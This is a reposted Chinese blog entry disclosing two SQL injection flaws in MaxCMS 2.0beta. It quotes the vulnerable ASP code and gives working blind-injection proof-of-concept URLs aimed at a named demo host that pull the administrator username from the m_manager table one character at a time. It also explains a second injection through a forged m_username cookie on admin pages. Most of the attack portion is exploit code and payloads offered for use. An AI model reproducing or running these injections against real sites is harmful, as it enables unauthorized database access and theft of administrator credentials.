=波波日志 > 黑客技术 > 马克斯CMS2.0beta (maxcms)SQL注入漏洞=
[转]马克斯CMS2.0beta (maxcms)SQL注入漏洞
作者:flyh4t
http://hi.baidu.com/isbx/blog/item/cfcf864422ecd24b500ffe7d.html
http://bbs.wolvez.org
关键字:首页-马克斯CMS2.0
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。
看代码
\inc\ajax.asp
dim action : action = getForm("action", "get")
response.Charset="gbk"
Select case action
case "newslist" : viewNewsList
case "newscontent" : viewNewsContent
case "digg","tread" : scoreVideo(action)
case "reporterr" : reportErr
case "hit" : updateHit
case else : main
End Select
terminateAllObjects
……
Sub scoreVideo(operType)
dim sql,id,digg,returnValue : id=getForm("id","get")
‘通过get方式获取id的值
if rCookie("maxcms2_score"&id)="ok" then die "havescore"
if isNul(id) then die "err"
'on error resume next
digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)
‘ 参数id,没有过滤就带入sql语句进行查询
if err then digg=0 : err.clear()
if not isNum(id) then echoSaveStr "safe" else id=clng(id)
‘ 查询到digg,注意返回的内容
……
利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:
http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
不正确的:
http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
另外一处注射
Sub checkPower
dim loginValidate,rsObj : loginValidate = "maxcms2.0"
err.clear
on error resume next
set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")
loginValidate = md5(getAgent&getIp&rsObj(0))
if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"
checkManagerLevel rsObj(1)
set rsObj=nothing
End Sub
其中
Function rCookie(cookieName)
rCookie = request.cookies(cookieName)
End Function
通过伪造cookie中m_username的值可以进行注射
不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp
http://hi.baidu.com/isbx/blog/item/cfcf864422ecd24b500ffe7d.html
类别:黑客技术 作者:转载 日期:2009-09-01 【评论:0】
暂时没有评论!
发表留言
百度赞助
同类热门博文
- ·翻墙软件组合:FireF..
- ·狗日的us-hacker@ho..
- ·JS/Exploit-DialogA..
- ·QQ输入状态漏洞,让..
- ·关于adodb.stream的..
- ·DDoS攻击使用的常用..
- ·晓风内核 彩票整站平..
- ·如何在 Internet Ex..
博格Tag
- flash/flex/fcs/AIR(752)
- Asp.Net/C#/WCF(598)
- 操作系统及应用软件(376)
- JavaScript/Ajax(330)
- SQL及数据库(134)
- 黑客技术(115)
- Asp/VBScript(111)
- HTML/WML/CSS兼容/XML(102)
- PHP/apache/Perl(96)
- 网站排名及优化(92)
- 其他(75)
- showbo日志(66)
- lucene.net/分词技术(33)
- 计算机网络(26)
- 机械重工(26)
- C#设计模式(24)
- Google Maps开发(17)
- 日语学习(15)
- Canvas/VML/SVG(13)
- linux(11)
- 游戏开发(8)
- 正则表达式(5)
- Jsp/Java(4)
最新博文
- ·ad.zom123.net弹窗木..
- ·如何截获浏览器密码..
- ·破解查看IE浏览器保..
- ·Ewebeditor漏洞整理..
- ·获取最新穿墙软件的..
- ·翻墙工具下载地址
- ·图解软件破解详细步..
- ·软件破解步骤
随机博文
